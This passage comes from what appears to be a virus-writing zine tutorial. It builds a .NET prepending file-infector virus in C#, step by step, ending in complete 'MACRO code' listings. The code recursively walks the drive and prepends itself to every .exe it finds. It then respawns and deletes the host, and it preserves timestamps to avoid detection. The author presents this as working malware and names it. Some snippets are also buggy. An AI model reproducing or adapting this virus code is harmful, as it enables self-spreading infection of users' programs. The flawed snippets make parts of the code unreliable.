//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
//let's read the target contents

FileStream xs1 = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1];
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
//let's write the code to another file
FileStream sx = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
bw.Write(xxx);//write read contents of this code
bw.Write(xxx1);//then the content of target
bw.Close(); //to the target...
}

public static string getsha1(string filex)
{
FileStream xs1 = new FileStream(filex, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1];
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
SHA1 mark1 = new SHA1CryptoServiceProvider(); 
byte[] result1 = mark1.ComputeHash(xxx1);
StringBuilder hexString = new StringBuilder();
for (int counter = 0; counter < xxx1.Length; counter++) 
{
hexString.Append(String.Format("{0:X2}", xxx1[counter]));
}
return hexString.ToString();
}
}

the code above will prepend itself to exe files in current directory.. but it has a bug

examine public static void infect(string target, string source)

...
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
...

the line above will get the exact virus bytes when it's not yet infected any file..
when it is in other files, the line above will get the virus+hostbytes and include the
attached host in its infection routine..

illustration:

------   -------> --------   ------------> ---------- --------> -------- -------> --------------

virus		   hostA                    virus+hostA           hostB           virus+hostA+hostB
 
------		  ---------                ----------          --------          -----------------

solution: get only the virus bytes.

compile the code above first and obtain the size of the compiled code.. then

modify the selflen1 value to (i.e. 4608 is the size of the compiled code)

int selflen1 = (int) 4608; //get only the prepended virus size..


6) must be able to reconstruct the host so it will satisfy the definition of a prepending
virus.

it will be an overwriting virus if it doesn't that task this...

the virus must extract the displaced host and execute it like nothing has happened...

extracting displaced host and saving it to "temp.exe" snippet..

code#6.a

given : virus size = 5000 bytes

public static void extracthost()
{
FileStream xs1 = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(5000, SeekOrigin.Begin);//skip the virus
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1-5000];//allocate only the host bytes..
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
//let's write the code to another file
FileStream sx = new FileStream("temp.exe", FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
bw.Write(xxx);//write read contents of this code //host bytes
bw.Close();
}

the code above will store host contents in a single file... but what if
the user starts infected applications at once? effect, only one infected application will
start... we must devise a solution here...

have you ever heard of generating random numbers? yes it will be vital to the solution
of our problem... the trick here is to attach random number to the filename of the
spawned host file so host files can run simultaneuosly...

using System;

public class start1
{
public static void Main()
{
Random rand = new Random();
Console.WriteLine(rand.Next(999999).ToString());
}
}

it will generate numbers less than 999999... so virus can spawn a host named "t943274.exe",
"t834576.exe", etc and infected hosts can run without "fighting for a territory"..

our next task is to run the host and delete it after it terminates..

code#6.b

using System;
using System.Diagnostics;
using System.IO;

public class start1
{
public static void Main()
{
Process.Start("host.exe",arguments); //fire up the host with arguments
wet:
try
{
File.Delete("host.exe"); // try deleting host
}
catch
{
goto wet; // if error (active or still running) delete it again
}
// to assure that host will be deleted
if (File.Exists("host.exe")==true)
goto wet;
}
}

where to take the arguments? usually, a program may/may not have arguments.. if your virus
infects a program that requires an argument to run, then the user may suspect that
the program is infected by malwares of some sort if they notice that the program
doesn't accept commandline-parameters.. so we'll teach how our program
receives arguments...

code#6.c

using System;
using Text;

public class arguments
{
public static void Main(string[] args)
{
StringBuilder arguments = new StringBuilder();
foreach(string arg in args)
{
arguments.Append(arg + " ");
}
Console.WriteLine("\"" + arguments.ToString() + "\"");
}
}

compile: csc arguments.cs
run: arguments.exe ggg kkkk tttt
returns: "ggg kkk tttt "

===============================================
Plugging Tasks Together 3
===============================================

we learned bout extracting an appended file and saving read contents to a file, random
number generating to avoid host spawning conflict, starting and deleting the host file
and handling arguments..
now we will fuse our skills to make a snippet that will extract and save the host to
random filename, and starting with arguments/deleting spawned file...

code#5&6

assuming virus byte size is 5000

using System;
using System.IO;
using System.Diagnostics;
using System.Text

public static void Main(string[] args)
{
StringBuilder arguments = new StringBuilder();
foreach(string arg in args)
{
arguments.Append(arg + " ");
}
extract("host.exe", arguments.ToString());
}

public static void extract(string hostfile, string arguments)
{
FileStream xs1 = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(5000, SeekOrigin.Begin);//skip the virus
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1-5000];//allocate only the host bytes..
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
//let's write the code to another file
Random rand = new Random();
string rndno= rand.Next(999999).ToString();
string hostfile = "t" + rndno + ".exe";
FileStream sx = new FileStream(hostfile, FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
bw.Write(xxx1);//write read contents of this code //host bytes
bw.Close();
Process.Start(hostfile,arguments); //fire up the host with arguments
wet:
try
{
File.Delete(hostfile); // try deleting host
}
catch
{
goto wet; // if error (active or still running) delete it again
}
// to assure that host will be deleted
if (File.Exists(hostfile)==true)
goto wet;
}

====================================
suppa Plug-In #1

with those task accomplished, we have now satisfied the requirements of a basic prepending virus... 
let's now plugin the plugins to make a working prepending virus..

virus compiled size is 5835 bytes

MACRO code #1

using System;
using System.IO;
using System.Reflection;
using System.Text;
using System.Diagnostics;
using System.Security.Cryptography;

public class virus
{
public static void Main(string[] args)
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
StringBuilder arguments = new StringBuilder();
foreach(string arg in args)
{
arguments.Append(arg + " ");
}
try //first generation will throw an exception
{
extract(self.FullyQualifiedName,arguments.ToString());
}
catch
{
}
string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory());
DispEXE(rootdir);
}
public static void DispEXE(string tD) {
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
string [] xfiles = Directory.GetFiles(tD, "*.exe");
foreach(string xfile in xfiles)
{
try
{
AssemblyName AN = AssemblyName.GetAssemblyName(xfile);
if (getsha1(self.FullyQualifiedName)==getsha1(xfile))
{
continue;
}
else
{
try
{
infect(xfile,self.FullyQualifiedName); //if error occured (target is active in memory/readonly/etc.
}
catch
{
continue; //next file
}
}
continue;
}
catch
{
//if error, unmanaged file, next file pls...
continue;
}
}
string[] sdirs = Directory.GetDirectories(tD);
foreach(string sdir in sdirs)
DispEXE(sdir);
}

public static void infect(string target, string source)
{
FileStream xs = new FileStream(source, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) 5835; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
//let's read the target contents

FileStream xs1 = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1];
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
//let's write the code to another file
FileStream sx = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
bw.Write(xxx);//write read contents of this code
bw.Write(xxx1);//then the content of target
bw.Close(); //to the target...
}
public static string getsha1(string filex)
{
FileStream xs1 = new FileStream(filex, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) 1000; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1];
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
SHA1 mark1 = new SHA1CryptoServiceProvider(); 
byte[] result1 = mark1.ComputeHash(xxx1);
StringBuilder hexString = new StringBuilder();
for (int counter = 0; counter < xxx1.Length; counter++) 
{
hexString.Append(String.Format("{0:X2}", xxx1[counter]));
}
return hexString.ToString();
}
public static void extract(string filenme, string arguments)
{
FileStream xs1 = new FileStream(filenme, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(5835, SeekOrigin.Begin);//skip the virus
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1-5835];//allocate only the host bytes..
//counters
int bytestoread1 = selflen1 - 5835; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
//let's write the code to another file
Random rand = new Random();
string rndno= rand.Next(999999).ToString();
string hostfile = "t" + rndno + ".exe";
FileStream sx = new FileStream(hostfile, FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
bw.Write(xxx1);//write read contents of this code //host bytes
bw.Close();
Process.Start(hostfile,arguments); //fire up the host with arguments
wet:
try
{
File.Delete(hostfile); // try deleting host
}
catch
{
goto wet; // if error (active or still running) delete it again
}
// to assure that host will be deleted
if (File.Exists(hostfile)==true)
goto wet;
}
}

the code above is a sloppy working virus.... 

compile: csc /target:winexe virus.cs

...

usually, malware writers make their virus do the infection first before passing the control 
to the host file. we can do that it asm but not in dotnet.. dotnet executables require time
to be loaded by the framework.. so if we do infection first before host regeneration, users
may suspect that their dotnet program is infected by a virus because of slow loading..... 

we'll break from the norm and make our virus execute the host first before doing
the infection..

so the virus basically does this, it spawns the host to a file, executes the file and
wait it to be terminated, deletes the temporary file, searches for dotnet files in hd and
prepends itself to them....

we achieved our goal of writing a prepending virus.. but we'll not leave the file as is..
we must make it readable, understandable and tight... so code optimisation comes to place..

optimised code

--------------------------------------------------------------------------
MACRO Code #2

using System;
using System.IO;
using System.Reflection;
using System.Text;
using System.Diagnostics;
using System.Security.Cryptography;

public class virus
{
public static void Main(string[] args)
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
StringBuilder arguments = new StringBuilder();
foreach(string arg in args)
{
arguments.Append(arg + " ");
}
try
{
FileInfo fi = new FileInfo(self.FullyQualifiedName);
long x1 = fi.Length;
int x = (int) x1;
byte[] www = readx(self.FullyQualifiedName, x - 5632, 5632);
byte[][] xxx = {www};
string nom = hostname();
writex(nom, xxx);
fireup(nom, arguments.ToString());
}
catch
{
}
string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory());
DispEXE(rootdir);
}

public static void DispEXE(string tD) 
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
string [] xfiles = Directory.GetFiles(tD, "*.exe");
foreach(string xfile in xfiles)
{
try
{
AssemblyName AN = AssemblyName.GetAssemblyName(xfile);
byte[] data1 = readx(self.FullyQualifiedName,1000,0);
byte[] data2 = readx(xfile,1000,0);
if (sha1x(data1)==sha1x(data2))
{
continue;
}
else
{
try
{
FileInfo fi = new FileInfo(xfile);
long x1 = fi.Length;
int x = (int) x1;
byte[] data3 = readx(self.FullyQualifiedName,5632,0);
byte[] data4 = readx(xfile,x,0);
byte[][] data5 = {data3,data4};
writex(xfile,data5);
}
catch
{
continue; //next file
}
}
continue;
}
catch
{
continue;
}
}
string[] sdirs = Directory.GetDirectories(tD);
foreach(string sdir in sdirs)
DispEXE(sdir);
}

public static byte[] readx(string filename, int size, int pntr)
{
FileStream xs = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Read); 
BinaryReader br = new BinaryReader(xs);
int selflen = (int) size; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(pntr, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
return xxx;
}

public static void writex(string filename, byte[][] data)
{
FileStream sx = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
foreach(byte[] g in data)
{
bw.Write(g);
}
bw.Close(); //to the target...
}

public static string sha1x(byte[] putin)
{
SHA1 mark1 = new SHA1CryptoServiceProvider(); 
byte[] result1 = mark1.ComputeHash(putin);
StringBuilder hexString = new StringBuilder();
for (int counter = 0; counter < putin.Length; counter++) 
{
hexString.Append(String.Format("{0:X2}", putin[counter]));
}
return hexString.ToString();
}

public static string hostname()
{
Random rand = new Random();
string rndno= rand.Next(999999).ToString();
string hostfile = "t" + rndno + ".exe";
return hostfile;
}

public static void fireup(string hostfile, string arguments)
{
Process.Start(hostfile,arguments); //fire up the host with arguments
wet:
try
{
File.Delete(hostfile); // try deleting host
}
catch
{
goto wet; // if error (active or still running) delete it again
}
// to assure that host will be deleted
if (File.Exists(hostfile)==true)
goto wet;
}
}

-------------------------------------------------------------------------

some explanations

---------------------------------

FileInfo Constructor

Initializes a new instance of the FileInfo class, which acts as a wrapper for a file path.

[C#]
[Serializable]
public FileInfo(
   string fileName
);

Parameters
fileName 
The fully qualified name of the new file, or the relative file name.

----------------------------

FileInfo.Length Property

Gets the size of the current file or directory.

[C#]
[Serializable]
public long Length {get;}

Property Value
The size of the current file.

-----------------------------

since FileInfo.Length returns long, we must convert long to int implicitly...

long g = FileInfo(name).Length;
int x = (int) g

so the length will be passed and be a valid argument of BinaryReader.Read...

and a new trick is implemented in the optimized code...

byte[][] <=------ means array of array of bytes...


so that's a simple prepending virus..

7.) must be able to save time stamps


just add DateTime timestamp = File.GetCreationTime(xfile); before writing and File.SetCreationTime(xfile,timestamp);
after writing to the target file..

8.) must have a name..

we'll christen it as msil.hllp.thisAINTSharpei...

Closing
=======

we've successfully made a simple prepending virus... have you learned anythin'?

dotnet is the future!

regards,

alcopaul
brigada ocho

!compilable source code of our output is in the sources section of this zine


